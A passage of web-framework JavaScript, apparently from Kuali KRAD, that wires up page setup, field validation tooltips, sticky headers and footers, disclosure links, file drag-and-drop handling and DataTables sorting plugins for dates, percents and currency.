(jqXHR, textStatus) { handleAjaxSessionTimeout(jqXHR.responseText); }} }); // stop previous loading message hideLoading(); // hide the ajax progress display screen if the page is replaced e.g. by a login page when the session expires jQuery(window).unload(function () { hideLoading(); }); time(false, "viewSetup-phase-1"); // show the page jQuery("#" + kradVariables.APP_ID).show(); // run all the scripts runHiddenScripts(""); time(true, "viewSetup-phase-2"); // setup dirty field processing dirtyFormState.dirtyHandlerSetup(); // handler is for catching a fancybox close and re-enabling dirty checks because main use of fancybox is for // lookup dialogs which turn them off temporarily jQuery(document).on("afterClose.fancybox", function () { dirtyFormState.skipDirtyChecks = false; }); // disclosure handler setup setupDisclosureHandler(); setupHelperTextHandler(); // setup document level handling of drag and drop for files setupFileDragHandlers(); // setup the various event handlers for fields - THIS IS IMPORTANT initFieldHandlers(); jQuery(window).unbind("resize.tooltip"); jQuery(window).bind("resize.tooltip", function () { var visibleTooltips = jQuery(".popover:visible"); visibleTooltips.each(function () { // bug with popover plugin does not reposition tooltip on window resize, forcing it here jQuery(this).prev("[data-hasTooltip]").popover("show"); }); }); // setup the handler for inline field editing initInlineEditFields(); // setup the handler for enter key event actions initEnterKeyHandler(); // setup any potential sticky/fixed content setupStickyHeaderAndFooter(); hideEmptyCells(); jQuery(document).on(kradVariables.PAGE_LOAD_EVENT, function () { initialViewLoad = false; }); time(false, "viewSetup-phase-2"); }); /** * Sets up and initializes the handlers for enter key actions. * * <p>This function determines which button/action should fire when the enter key is pressed while focus is on a configured input</p> * */ function initEnterKeyHandler() { jQuery(document).on("keyup", "[data-enter_key]", function (event) { // grab the keycode based on browser var keycode = (event.keyCode ? event.keyCode : event.which); // check for enter key if (keycode !== 13) { return; } event.preventDefault(); event.stopPropagation(); // using event bubbling, we search for inner most element with data attribute kradVariables.ENTER_KEY_SUFFIX and assign it's value as an ID var enterKeyId = jQuery(event.currentTarget).data(kradVariables.ENTER_KEY_SUFFIX); // make sure the targeted action is a permitted element if (jQuery(event.target).is(":not(a, button, submit, img[data-role='" + kradVariables.DATA_ROLES.ACTION + "'], input[data-role='" + kradVariables.DATA_ROLES.ACTION + "'] )")) { // check to see if primary enter key action button is targeted if (enterKeyId === kradVariables.ENTER_KEY_DEFAULT) { // find all primary action buttons on page with attribute data-default_enter_key_action='true' var primaryButtons = jQuery(event.currentTarget).find("[data-default_enter_key_action='true']"); // filter the buttons only one parent section deep var primaryButton = primaryButtons.filter(function () { return jQuery(this).parents('[data-enter_key]').length < 2; }); // if the button exists get it's id if (primaryButton.length) { enterKeyId = primaryButton.attr("id"); } } // if enterKeyAction is still set to ENTER_KEY_PRIMARY value, do nothing, button doesn't exist if (enterKeyId === kradVariables.ENTER_KEY_DEFAULT) { return false; } // make sure action button is visible and not disabled before we fire it if (jQuery('#' + enterKeyId).is(":visible") && jQuery('#' + enterKeyId).is(":disabled") === false) { jQuery(document).find('#' + enterKeyId).click(); } } }); // a hack to capture the native browser enter key behavior.. keydown and keyup jQuery(document).on("keydown", "[data-enter_key], [data-inline_edit] [data-role='Control']", function (event) { // grab the keycode based on browser var keycode = (event.keyCode ? event.keyCode : event.which); // check for enter key if (keycode === 13 && jQuery(event.target).is("[data-role='Control']")) { event.preventDefault(); return false; } }); } /** * Sets up and initializes the handlers for sticky header and footer content */ function setupStickyHeaderAndFooter() { // sticky(header) content variables must be initialized here to retain sticky location across page request stickyContent = jQuery("[data-sticky='true']:visible"); if (stickyContent.length) { stickyContent.each(function () { jQuery(this).data("offset", jQuery(this).offset()); }); stickyContentOffset = stickyContent.offset(); initStickyContent(); } // find and initialize stickyFooters stickyFooterContent = jQuery("[data-sticky_footer='true']:visible"); applicationFooter = jQuery("#" + kradVariables.APPLICATION_FOOTER_WRAPPER); initStickyFooterContent(); // bind scroll and resize events to dynamically update sticky content positions jQuery(window).unbind("scroll.sticky"); jQuery(window).bind("scroll.sticky", function () { handleStickyContent(); handleStickyFooterContent(); }); jQuery(window).unbind("resize.sticky"); jQuery(window).bind("resize.sticky", function () { handleStickyContent(); handleStickyFooterContent(); }); } /** * Sets up the various handlers for various field controls. * This function includes handlers that are critical to the behavior of KRAD validation and message frameworks * on the client */ function initFieldHandlers() { time(true, "field-handlers"); // add global action handler jQuery(document).on("click", "a[data-role='Action'], button[data-role='Action'], " + "img[data-role='Action'], input[data-role='Action']", function (e) { e.preventDefault(); var action = jQuery(this); // Disabled check if (action.hasClass(kradVariables.DISABLED_CLASS)) { return false; } initActionData(action); // Dirty check (if enabled) if (action.data(kradVariables.PERFORM_DIRTY_VALIDATION) === true && dirtyFormState.checkDirty(e)) { return; } var functionData = action.data(kradVariables.ACTION_ONCLICK_DATA); eval("var actionFunction = function(e) {" + functionData + "};"); return actionFunction.call(this, e); }); // add a focus handler for scroll manipulation when there is a sticky header or footer, so content stays in view jQuery("[data-role='Page']").on("focus", "a[href], area[href], input:not([disabled]), " + "select:not([disabled]), textarea:not([disabled]), button:not([disabled]), " + "iframe, object, embed, *[tabindex], *[contenteditable]", function () { var element = jQuery(this); var buffer = 10; var elementHeight = element.outerHeight(); if (!elementHeight) { elementHeight = 24; } // if something is focused under the footer, adjust the scroll if (stickyFooterContent && stickyFooterContent.length) { var footerOffset = stickyFooterContent.offset().top; if (element.offset().top + elementHeight > footerOffset) { var visibleContentSize = jQuery(window).height() - currentHeaderHeight - currentFooterHeight; jQuery(document).scrollTo(element.offset().top + elementHeight + buffer - currentHeaderHeight - visibleContentSize); return true; } } // if something is focused under the header content, adjust the scroll if (stickyContent && stickyContent.length) { var reversedStickyContent = jQuery(stickyContent.get().reverse()); var headerOffset = reversedStickyContent.offset().top + reversedStickyContent.outerHeight(); if (element.offset().top < headerOffset) { jQuery(document).scrollTo(element.offset().top - currentHeaderHeight - buffer); return true; } } return true; }); jQuery(document).on("mouseenter", "div[data-role='InputField'] input:not([type='image'])," + "div[data-role='InputField'] fieldset, " + "div[data-role='InputField'] fieldset > span > input:radio," + "div[data-role='InputField'] fieldset > span > input:checkbox," + "div[data-role='InputField'] fieldset > span > label, " + "div[data-role='InputField'] select, " + "div[data-role='InputField'] textarea", function (event) { var fieldId = jQuery(this).closest("div[data-role='InputField']").attr("id"); var data = getValidationData(jQuery("#" + fieldId)); if (data && data.useTooltip) { var elementInfo = getHoverElement(fieldId); var element = elementInfo.element; var tooltipElement = this; var focus = jQuery(tooltipElement).is(":focus"); if (elementInfo.type == "fieldset") { // for checkbox/radio fieldsets we put the tooltip on the label of the first input tooltipElement = jQuery(element).filter(".uif-tooltip"); // if the fieldset or one of the inputs have focus then the fieldset is considered focused focus = jQuery(element).filter("fieldset").is(":focus") || jQuery(element).filter("input").is(":focus"); } var hasMessages = jQuery("[data-messages_for='" + fieldId + "']").children().length; // only display the tooltip if not already focused or already showing if (!focus && hasMessages) { showMessageTooltip(fieldId); } } }); jQuery(document).on("mouseleave", "div[data-role='InputField'] input," + "div[data-role='InputField'] fieldset, " + "div[data-role='InputField'] fieldset > span > input:radio," + "div[data-role='InputField'] fieldset > span > input:checkbox," + "div[data-role='InputField'] fieldset > span > label, " + "div[data-role='InputField'] select, " + "div[data-role='InputField'] textarea", function (event) { var fieldId = jQuery(this).closest("div[data-role='InputField']").attr("id"); var data = getValidationData(jQuery("#" + fieldId)); if (data && data.useTooltip) { var elementInfo = getHoverElement(fieldId); var element = elementInfo.element; var tooltipElement = this; var focus = jQuery(tooltipElement).is(":focus"); if (elementInfo.type == "fieldset") { // for checkbox/radio fieldsets we put the tooltip on the label of the first input tooltipElement = jQuery(element).filter(".uif-tooltip"); // if the fieldset or one of the inputs have focus then the fieldset is considered focused focus = jQuery(element).filter("fieldset").is(":focus") || jQuery(element).filter("input").is(":focus"); } if (!focus) { hideMessageTooltip(fieldId); } } }); // when these fields are focus store what the current errors are if any and show the messageTooltip jQuery(document).on("focus", "div[data-role='InputField'] input:text, " + "div[data-role='InputField'] input:password, " + "div[data-role='InputField'] input:file, " + "div[data-role='InputField'] input:checkbox, " + "div[data-role='InputField'] input:radio," + "div[data-role='InputField'] select, " + "div[data-role='InputField'] textarea, " + "div[data-role='InputField'] option", function () { var id = getAttributeId(jQuery(this).attr('id')); if (!id) { return; } // keep track of what errors it had on initial focus var data = getValidationData(jQuery("#" + id)); if (data && data.errors) { data.focusedErrors = data.errors; } //show tooltip on focus showMessageTooltip(id, false); }); // when these fields are focused out validate and if this field never had an error before, show and close, otherwise // immediately close the tooltip jQuery(document).on("focusout", "div[data-role='InputField'] input:text, " + "div[data-role='InputField'] input:password, " + "div[data-role='InputField'] input:file, " + "div[data-role='InputField'] select, " + "div[data-role='InputField'] textarea", function (event) { var id = getAttributeId(jQuery(this).attr('id')); if (!id || isRelatedTarget(this.parentElement, event) === true) { return; } var data = getValidationData(jQuery("#" + id)); var hadError = false; if (data && data.focusedErrors) { hadError = data.focusedErrors.length; } var valid = true; if (validateClient) { valid = validateFieldValue(this); } // mouse in tooltip check var mouseInTooltip = false; if (data && data.useTooltip && data.mouseInTooltip) { mouseInTooltip = data.mouseInTooltip; } if (!hadError && !valid) { // never had a client error before, so pop-up and delay showMessageTooltip(id, true, true); } else if (!mouseInTooltip) { hideMessageTooltip(id); } }); // when these fields are changed validate immediately jQuery(document).on("change", "div[data-role='InputField'] input:checkbox, " + "div[data-role='InputField'] input:radio, " + "div[data-role='InputField'] select", function () { if (validateClient) { validateFieldValue(this); } }); // Greying out functionality jQuery(document).on("change", "div[data-role='InputField'] input:text, " + "div[data-role='InputField'] input:password, " + "div[data-role='InputField'] input:file, " + "div[data-role='InputField'] select, " + "div[data-role='InputField'] textarea, " + "div[data-role='InputField'] input:checkbox, " + "div[data-role='InputField'] input:radio", function () { var id = getAttributeId(jQuery(this).attr('id')); if (!id) { return; } var field = jQuery("#" + id); var data = getValidationData(field); if (data) { data.fieldModified = true; field.data(kradVariables.VALIDATION_MESSAGES, data); } }); // special radio and checkbox control handling for click events jQuery(document).on("click", "div[data-role='InputField'] input:checkbox, " + "div[data-role='InputField'] input:radio," + "fieldset[data-type='CheckboxSet'] span > label," + "fieldset[data-type='RadioSet'] span > label", function () { var event = jQuery.Event("handleFieldsetMessages"); event.element = this; //fire the handleFieldsetMessages event on every input of checkbox or radio fieldset jQuery("fieldset > span > input").not(this).trigger(event); }); // special radio and checkbox control handling for focus events jQuery(document).on("focus", "div[data-role='InputField'] input:checkbox, " + "div[data-role='InputField'] input:radio", function () { var event = jQuery.Event("handleFieldsetMessages"); event.element = this; //fire the handleFieldsetMessages event on every input of checkbox or radio fieldset jQuery("fieldset > span > input").not(this).trigger(event); }); // when focused out the checkbox and radio controls that are part of a fieldset will check if another control in // their fieldset has received focus after a short period of time, otherwise the tooltip will close. // if not part of the fieldset, the closing behavior is similar to normal fields // in both cases, validation occurs when the field is considered to have lost focus (fieldset case - no control // in the fieldset has focus) jQuery(document).on("focusout", "div[data-role='InputField'] input:checkbox, " + "div[data-role='InputField'] input:radio", function () { var parent = jQuery(this).parent(); var id = getAttributeId(jQuery(this).attr('id')); if (!id) { return; } var data = getValidationData(jQuery("#" + id)); //mouse in tooltip check var mouseInTooltip = false; if (data && data.useTooltip && data.mouseInTooltip) { mouseInTooltip = data.mouseInTooltip; } //radio/checkbox is in fieldset case if (parent.parent().is("fieldset")) { // we only ever want this to be handled once per attachment jQuery(this).one("handleFieldsetMessages", function (event) { var proceed = true; // if the element that invoked the event is part of THIS fieldset, we do not lose focus, so // do not proceed with close handling if (event.element && jQuery(event.element).is(jQuery(this).closest("fieldset").find("input"))) { proceed = false; } // the fieldset is focused out - proceed if (proceed) { var hadError = parent.parent().find("input").hasClass("error"); var valid = true; if (validateClient) { valid = validateFieldValue(this); } if (!hadError && !valid) { //never had a client error before, so pop-up and delay close showMessageTooltip(id, true, true); } else if (!mouseInTooltip) { hideMessageTooltip(id); } } }); var currentElement = this; // if no radios/checkboxes are reporting events assume we want to proceed with closing the message setTimeout(function () { var event = jQuery.Event("handleFieldsetMessages"); event.element = []; jQuery(currentElement).trigger(event); }, 500); } // non-fieldset case else if (!jQuery(this).parent().parent().is("fieldset")) { var hadError = jQuery(this).hasClass("error"); var valid = true; // not in a fieldset - so validate directly if (validateClient) { valid = validateFieldValue(this); } if (!hadError && !valid) { // never had a client error before, so pop-up and delay showMessageTooltip(id, true, true); } else if (!mouseInTooltip) { hideMessageTooltip(id); } } }); jQuery(document).on("change", "table.dataTable div[data-role='InputField'][data-total='change'] :input", function () { refreshDatatableCellRedraw(this); }); jQuery(document).on("input", "table.dataTable div[data-role='InputField'][data-total='keyup'] :input", function () { var input = this; delay(function () { refreshDatatableCellRedraw(input) }, 300); }); // capture tabbing through widget elements to make sure we only validate the control field when we leave the entire // widget var buttonHovered = false; var $currentControl; // capture mousing over button of the widget if there is one jQuery(document).on("mouseover", "div[data-role='InputField'] div.input-group div.input-group-btn a",function () { buttonHovered = true; // capture mousing out of button in the widget }).on("mouseout", "div[data-role='InputField'] div.input-group div.input-group-btn a",function () { buttonHovered = false; // capture leaving the control field }).on("focusout", "div[data-role='InputField'] div.input-group", function (event) { $currentControl = jQuery(this).children("[data-role='Control']"); // determine whether we are still in the widget. If we are out of the widget and the field // is not a radio button, then validate var radioButtons = jQuery(this).find('input:radio'); if (isRelatedTarget(this, event) !== true && buttonHovered === false && radioButtons.length == 0) { validateFieldValue($currentControl); } }); // capture datepicker widget button jQuery(document).on("mouseover", ".ui-datepicker",function () { buttonHovered = true; }).on("mouseout", ".ui-datepicker", function () { buttonHovered = false; }); // capture leaving a text expand window and force focus back on the control jQuery(document).on("focusout", ".fancybox-skin", function () { buttonHovered = false; $currentControl.focus(); }); time(false, "field-handlers"); } /** * Test if an input field is part of a widget by examining event.currentTarget and event.target * */ function isRelatedTarget(element, event) { if (!event) return true; try { // test for lightbox widget by matching a fancy-box event property for (var key in event.currentTarget) { if (key.match(/fancy/g) && key !== undefined) { console.log(key); return true; } } // here we check to see if the element we are focusing out of is nested in a input-group div or within // input-group-btn div. If so then they are related to the widget if (("relatedTarget" in event && event.relatedTarget !== null && element === event.relatedTarget.parentElement.parentElement) || ("relatedTarget" in event && event.relatedTarget !== null && element === event.relatedTarget.parentElement) ) { return true; } return false; } catch (e) { return false; } } /** * Setup a global disclosure handler which will handle click events on disclosure links to toggle them open and closed */ function setupDisclosureHandler() { jQuery(document).on("click", "a[data-role='" + kradVariables.DATA_ROLES.DISCLOSURE_LINK + "']", function (event) { event.preventDefault(); var link = jQuery(this); var disclosureContent = jQuery("#" + link.data("linkfor")); var isOpen = disclosureContent.attr(kradVariables.ATTRIBUTES.DATA_OPEN); var animationSpeed = link.data("speed"); var linkId = link.attr("id"); var widgetId = link.data("widgetid"); var ajax = link.data("ajax"); if (isOpen == "true") { disclosureContent.attr(kradVariables.ATTRIBUTES.DATA_OPEN, false); var options = { duration: animationSpeed, step: function () { disclosureContent.trigger(kradVariables.EVENTS.ADJUST_STICKY); } }; disclosureContent.slideUp(options); link.find("#" + linkId + "_exp").hide(); link.find("#" + linkId + "_col").show(); setComponentState(widgetId, 'open', false); disclosureContent.trigger(kradVariables.EVENTS.ADJUST_STICKY); } else { disclosureContent.attr(kradVariables.ATTRIBUTES.DATA_OPEN, true); // run scripts for previously hidden content runHiddenScripts(disclosureContent, true, false); link.find("#" + linkId + "_exp").show(); link.find("#" + linkId + "_col").hide(); setComponentState(widgetId, 'open', true); if (ajax && disclosureContent.data("role") == "placeholder") { // If there is a placeholder present, retrieve the new content showLoading("Loading...", disclosureContent, true); disclosureContent.show(); disclosureContent.trigger(kradVariables.EVENTS.ADJUST_STICKY); // This a specialized methodToCall passed in for retrieving the originally generated component retrieveComponent(linkId.replace("_toggle", ""), null, null, null, true); } else { // If no ajax retrieval, slide down animationg var options = { duration: animationSpeed, step: function () { disclosureContent.trigger(kradVariables.EVENTS.ADJUST_STICKY); } }; disclosureContent.slideDown(options); } } }); } /** * Sets up focus and blur events for inputs with helper text. */ function setupHelperTextHandler() { jQuery(document).on(kradVariables.EVENTS.UPDATE_CONTENT + " ready", function () { if (jQuery('.uif-helperText').length) { jQuery('.uif-helperText').slideUp(); } jQuery('.has-helper').on('focus', function () { if (jQuery(this).parent().find('.uif-helperText')) { jQuery(this).parent().find('.uif-helperText').slideDown(); } }); jQuery('.has-helper').on('blur', function () { if (jQuery(this).parent().find('.uif-helperText')) { jQuery(this).parent().find('.uif-helperText').slideUp(); } }); }); } /** * Setup document level dragover, drop, and dragleave events to handle file drops and indication when dropping a * file into appropriate elements */ function setupFileDragHandlers() { // Prevent drag and drop events on the document to support file drags into upload widget jQuery(document).on("dragover", function (e) { e.preventDefault(); var $fileCollections = jQuery(".uif-fileUploadCollection"); $fileCollections.each(function () { var $fileCollection = jQuery(this); var id = $fileCollection.attr("id"); var drop = $fileCollection.find(".uif-drop"); if (!drop.length) { drop = jQuery("<div class='uif-drop uif-dropBlock'></div>"); drop = drop.add("<span class='uif-drop uif-dropText'><span class='icon-plus'/> Drop Files to Add...</span>"); drop.bind("drop", function () { e.preventDefault(); jQuery("#" + id).trigger("drop"); jQuery(this).hide(); }); $fileCollection.append(drop); } else { drop.show(); } }); }); jQuery(document).on("drop dragleave", function (e) { e.preventDefault(); var fileCollections = jQuery(".uif-drop"); fileCollections.each(function () { jQuery(this).hide(); }); }); } function hideTooltips(element) { if (element != undefined && element.length) { jQuery(element).find("[data-hasTooltip]").popover("hide"); } else { jQuery("[data-hasTooltip]").popover("hide"); } } /** * Sets up the validator and the dirty check and other page scripts */ function setupPage(validate) { time(true, "page-setup"); dirtyFormState.resetDirtyFieldCount(); // if we are skipping this page setup, reset the flag, and return (this logic is for redirects) if (skipPageSetup) { skipPageSetup = false; return; } // update the top group per page var topGroupUpdateDiv = jQuery("#" + kradVariables.TOP_GROUP_UPDATE); var topGroupUpdate = topGroupUpdateDiv.find(">").detach(); if (topGroupUpdate.length && !initialViewLoad) { jQuery("#Uif-TopGroupWrapper >").replaceWith(topGroupUpdate); } topGroupUpdateDiv.remove(); // update the view header per page var headerUpdateDiv = jQuery("#" + kradVariables.VIEW_HEADER_UPDATE); var viewHeaderUpdate = headerUpdateDiv.find(".uif-viewHeader").detach(); if (viewHeaderUpdate.length && !initialViewLoad) { var currentHeader = jQuery(".uif-viewHeader"); if (currentHeader.data("offset")) { viewHeaderUpdate.data("offset", currentHeader.data("offset")); } jQuery(".uif-viewHeader").replaceWith(viewHeaderUpdate); stickyContent = jQuery("[data-sticky='true']:visible"); } headerUpdateDiv.remove(); originalPageTitle = document.title; setupImages(); // reinitialize sticky footer content because page footer can be sticky jQuery(document).on(kradVariables.EVENTS.ADJUST_STICKY, function () { stickyFooterContent = jQuery("[data-sticky_footer='true']"); initStickyFooterContent(); handleStickyFooterContent(); initStickyContent(); }); // Initialize global validation defaults if (groupValidationDefaults == undefined || fieldValidationDefaults == undefined) { groupValidationDefaults = jQuery("[data-role='View']").data(kradVariables.GROUP_VALIDATION_DEFAULTS); fieldValidationDefaults = jQuery("[data-role='View']").data(kradVariables.FIELD_VALIDATION_DEFAULTS); } if (actionDefaults == undefined) { actionDefaults = jQuery("[data-role='View']").data(kradVariables.ACTION_DEFAULTS); } // Reset summary state before processing each field - summaries are shown if server messages // or on client page validation messageSummariesShown = false; // flag to turn off and on validation mechanisms on the client validateClient = validate; // select current page var pageId = getCurrentPageId(); // update URL to reflect the current page updateRequestUrl(pageId); prevPageMessageTotal = 0; var page = jQuery("[data-role='Page']"); // skip input field iteration and validation message writing, if no server messages var hasServerMessagesData = page.data(kradVariables.SERVER_MESSAGES); if (hasServerMessagesData) { pageValidationPhase = true; // Handle messages at field, if any jQuery("div[data-role='InputField']").each(function () { var id = jQuery(this).attr('id'); handleMessagesAtField(id, true); }); // Write the result of the validation messages writeMessagesForPage(); messageSummariesShown = true; pageValidationPhase = false; } //TODO: Looks like this class is not being used anywhere - Remove? // focus on pageValidation header if there are messages on this page if (jQuery(".uif-pageValidationHeader").length) { jQuery(".uif-pageValidationHeader").focus(); } setupValidator(jQuery('#kualiForm')); jQuery(".required").each(function () { jQuery(this).attr("aria-required", "true"); }); jQuery(document).trigger(kradVariables.VALIDATION_SETUP_EVENT); pageValidatorReady = true; jQuery(document).trigger(kradVariables.PAGE_LOAD_EVENT); jQuery.watermark.showAll(); // If no focusId is specified through data attribute, default to FIRST input on the page var focusId = page.data(kradVariables.FOCUS_ID); if (!focusId) { focusId = "FIRST"; } // Perform focus and jumpTo based on the data attributes performFocusAndJumpTo(true, focusId, page.data(kradVariables.JUMP_TO_ID), page.data(kradVariables.JUMP_TO_NAME)); time(false, "page-setup"); } /** * Sets up the validator with the necessary default settings and methods on a form * * @param form */ function setupValidator(form) { jQuery(form).validate(); } /** * Initializes all of the image variables */ function setupImages() { errorImage = "<img class='" + kradVariables.VALIDATION_IMAGE_CLASS + "' src='" + getConfigParam(kradVariables.IMAGE_LOCATION) + "validation/error.png' alt='" + getMessage(kradVariables.MESSAGE_ERROR) + "' /> "; errorGreyImage = "<img class='" + kradVariables.VALIDATION_IMAGE_CLASS + "' src='" + getConfigParam(kradVariables.IMAGE_LOCATION) + "validation/error-grey.png' alt='" + getMessage(kradVariables.MESSAGE_ERROR_FIELD_MODIFIED) + "' /> "; warningImage = "<img class='" + kradVariables.VALIDATION_IMAGE_CLASS + "' src='" + getConfigParam(kradVariables.IMAGE_LOCATION) + "validation/warning.png' alt='" + getMessage(kradVariables.MESSAGE_WARNING) + "' /> "; infoImage = "<img class='" + kradVariables.VALIDATION_IMAGE_CLASS + "' src='" + getConfigParam(kradVariables.IMAGE_LOCATION) + "validation/info.png' alt='" + getMessage(kradVariables.MESSAGE_INFORMATION) + "' /> "; detailsOpenImage = jQuery("<img class='" + kradVariables.VALIDATION_IMAGE_CLASS + "' src='" + getConfigParam(kradVariables.IMAGE_LOCATION) + "details_open.png' alt='" + getMessage(kradVariables.MESSAGE_DETAILS) + "' /> "); detailsCloseImage = jQuery("<img class='" + kradVariables.VALIDATION_IMAGE_CLASS + "' src='" + getConfigParam(kradVariables.IMAGE_LOCATION) + "details_close.png' alt='" + getMessage(kradVariables.MESSAGE_CLOSE_DETAILS) + "' /> "); refreshImage = jQuery("<img src='" + getContext().blockUI.defaults.refreshOptions.blockingImage + "' alt='" + getMessage(kradVariables.MESSAGE_LOADING) + "' /> "); navigationImage = jQuery("<img src='" + getContext().blockUI.defaults.navigationOptions.blockingImage + "' alt='" + getMessage(kradVariables.MESSAGE_LOADING) + "' /> "); } /** * Retrieves the value for a configuration parameter * * @param paramName - name of the parameter to retrieve */ function getConfigParam(paramName) { var configParams = jQuery(document).data("ConfigParameters"); if (configParams) { return configParams[paramName]; } return ""; } jQuery.validator.setDefaults({ onsubmit: false, errorClass: kradVariables.ERROR_CLASS, validClass: kradVariables.VALID_CLASS, ignore: "." + kradVariables.IGNORE_VALIDATION_CLASS + ", ." + kradVariables.IGNORE_VALIDATION_TEMP_CLASS, wrapper: "", onfocusout: false, onclick: false, onkeyup: function (element) { if (validateClient) { var id = getAttributeId(jQuery(element).attr('id')); if (!id) { return; } var data = getValidationData(jQuery("#" + id)); // if this field previously had errors validate on key up if (data && data.focusedErrors && data.focusedErrors.length) { var valid = validateFieldValue(element); if (!valid) { showMessageTooltip(id, false, true); } } } }, highlight: function (element, errorClass, validClass) { jQuery(element).addClass(errorClass).removeClass(validClass); jQuery(element).attr("aria-invalid", "true"); }, unhighlight: function (element, errorClass, validClass) { removeClientValidationError(element); }, errorPlacement: function (error, element) { }, showErrors: function (nameErrorMap, elementObjectList) { this.defaultShowErrors(); for (var i in elementObjectList) { var element = elementObjectList[i].element; var message = elementObjectList[i].message; var id = getAttributeId(jQuery(element).attr('id')); if (!id) { return; } var field = jQuery("#" + id); var data = getValidationData(field); var exists = false; if (data && data.errors && data.errors.length) { for (var j in data.errors) { if (data.errors[j] === message) { exists = true; } } } if (!exists) { data.errors = []; data.errors.push(message); field.data(kradVariables.VALIDATION_MESSAGES, data); } if (data) { if (messageSummariesShown) { handleMessagesAtField(id); } else { writeMessagesAtField(id); } } if (data && !exists && !pauseTooltipDisplay) { } } }, success: function (label) { var htmlFor = jQuery(label).attr('for'); var id = ""; if (htmlFor.indexOf("_control") >= 0) { id = getAttributeId(htmlFor); if (!id) { return; } } else { id = jQuery("[name='" + escapeName(htmlFor) + "']:first").attr("id"); id = getAttributeId(id); if (!id) { return; } } var field = jQuery("#" + id); var data = getValidationData(field); if (data && data.errors && data.errors.length) { data.errors = []; field.data(kradVariables.VALIDATION_MESSAGES, data); if (messageSummariesShown) { handleMessagesAtField(id); } else { writeMessagesAtField(id); } showMessageTooltip(id, false, true); } } }); jQuery.validator.addMethod("minExclusive", function (value, element, param) { if (param.length == 1 || param[1]()) { return this.optional(element) || value > param[0]; } else { return true; } }); jQuery.validator.addMethod("maxInclusive", function (value, element, param) { if (param.length == 1 || param[1]()) { return this.optional(element) || value <= param[0]; } else { return true; } }); jQuery.validator.addMethod("minLengthConditional", function (value, element, param) { if (param.length == 1 || param[1]()) { return this.optional(element) || this.getLength(jQuery.trim(value), element) >= param[0]; } else { return true; } }); jQuery.validator.addMethod("maxLengthConditional", function (value, element, param) { if (param.length == 1 || param[1]()) { return this.optional(element) || this.getLength(jQuery.trim(value), element) <= param[0]; } else { return true; } }); /** * a plugin function for sorting values for columns marked with sType:kuali_date in aoColumns in ascending order * * <p>The values to be compared are returned by custom function for returning cell data if it exists, otherwise * the cell contents (innerHtml) are converted to string and compared against each other. One such function is defined * below - jQuery.fn.dataTableExt.afnSortData['dom-text'] - which returns values for the 'dom-text' custom sorting plugin<p> * * @param a - the first value to use in comparison * @param b - the second value to use in comparison * @return a number that will be used to determine whether a is greater than b */ jQuery.fn.dataTableExt.oSort['kuali_date-asc'] = function (a, b) { var date1 = a.split('/'); var date2 = b.split('/'); var x = (date1[2] + date1[0] + date1[1]) * 1; var y = (date2[2] + date2[0] + date2[1]) * 1; return ((x < y) ? -1 : ((x > y) ? 1 : 0)); }; /** * a plugin function for sorting values for columns marked with sType:kuali_date in aoColumns in descending order * * <p>The values to be compared are returned by custom function for returning cell data if it exists, otherwise * the cell contents (innerHtml) are converted to string and compared against each other. One such function is defined * below - jQuery.fn.dataTableExt.afnSortData['dom-text'] - which returns values for the 'dom-text' custom sorting plugin<p> * * @param a - the first value to use in comparison * @param b - the second value to use in comparison * @return a number that will be used to determine whether a is greater than b */ jQuery.fn.dataTableExt.oSort['kuali_date-desc'] = function (a, b) { var date1 = a.split('/'); var date2 = b.split('/'); var x = (date1[2] + date1[0] + date1[1]) * 1; var y = (date2[2] + date2[0] + date2[1]) * 1; return ((x < y) ? 1 : ((x > y) ? -1 : 0)); }; /** * a plugin function for sorting values for columns marked with sType:kuali_percent in aoColumns in ascending order * * <p>The values to be compared are returned by custom function for returning cell data if it exists, otherwise * the cell contents (innerHtml) are converted to string and compared against each other. One such function is defined * below - jQuery.fn.dataTableExt.afnSortData['dom-text'] - which returns values for the 'dom-text' custom sorting plugin<p> * * @param a - the first value to use in comparison * @param b - the second value to use in comparison * @return a number that will be used to determine whether a is greater than b */ jQuery.fn.dataTableExt.oSort['kuali_percent-asc'] = function (a, b) { var num1 = a.replace(/[^0-9]/g, ''); var num2 = b.replace(/[^0-9]/g, ''); num1 = (num1 == "-" || num1 === "" || isNaN(num1)) ? 0 : num1 * 1; num2 = (num2 == "-" || num2 === "" || isNaN(num2)) ? 0 : num2 * 1; return num1 - num2; }; /** * a plugin function for sorting values for columns marked with sType:kuali_percent in aoColumns in descending order * * <p>The values to be compared are returned by custom function for returning cell data if it exists, otherwise * the cell contents (innerHtml) are converted to string and compared against each other. One such function is defined * below - jQuery.fn.dataTableExt.afnSortData['dom-text'] - which returns values for the 'dom-text' custom sorting plugin<p> * * @param a - the first value to use in comparison * @param b - the second value to use in comparison * @return a number that will be used to determine whether a is greater than b */ jQuery.fn.dataTableExt.oSort['kuali_percent-desc'] = function (a, b) { var num1 = a.replace(/[^0-9]/g, ''); var num2 = b.replace(/[^0-9]/g, ''); num1 = (num1 == "-" || num1 === "" || isNaN(num1)) ? 0 : num1 * 1; num2 = (num2 == "-" || num2 === "" || isNaN(num2)) ? 0 : num2 * 1; return num2 - num1; }; /** * a plugin function for sorting values for columns marked with sType:kuali_currency in aoColumns in ascending order * * <p>The values to be compared are returned by custom function for returning cell data if it exists, otherwise * the cell contents (innerHtml) are converted to string and compared against each other. One such function is defined * below - jQuery.fn.dataTableExt.afnSortData['dom-text'] - which returns values for the 'dom-text' custom sorting plugin<p> * * @param a - the first value to use in comparison * @param b - the second value to use in comparison * @return a number that will be used to determine whether a is greater than b */ jQuery.fn.dataTableExt.oSort['kuali_currency-asc'] = function (a, b) { /* Remove any commas (assumes that if present all strings will have a fixed number of d.p) */ var x = a == "-" ? 0 : a.replace(/,/g, ""); var y = b == "-" ? 0 : b.replace(/,/g, ""); /* Remove the currency sign */ if (x.charAt(0) == '$') { x = x.substring(1); } if (y.charAt(0) == '$') { y = y.substring(1); } /* Parse and return */ x = parseFloat(x); y = parseFloat(y); x = isNaN(x) ? 0 : x * 1; y = isNaN(y) ? 0 : y * 1; return x - y; }; /** * a plugin function for sorting values for columns marked with sType:kuali_currency in aoColumns in descending order * * <p>The values to be compared are returned by custom function for returning cell data if it exists, otherwise * the cell contents (innerHtml) are converted to string and compared against each other. One such function is defined * below - jQuery.fn.dataTableExt.afnSortData['dom-text'] - which returns values for the 'dom-text' custom sorting plugin<p> * * @param a - the first value to use in comparison * @param b - the second value to use in comparison * @return a number that will be used to determine whether a is greater than b */ jQuery.fn.dataTableExt.oSort['kuali_currency-desc'] = function (a, b) { /* Remove any commas (assumes that if present all strings will have a fixed number of d.p) */ var x = a == "-" ? 0 : a.replace(/,/g, ""); var y = b == "-" ? 0 : b.replace(/,/g, 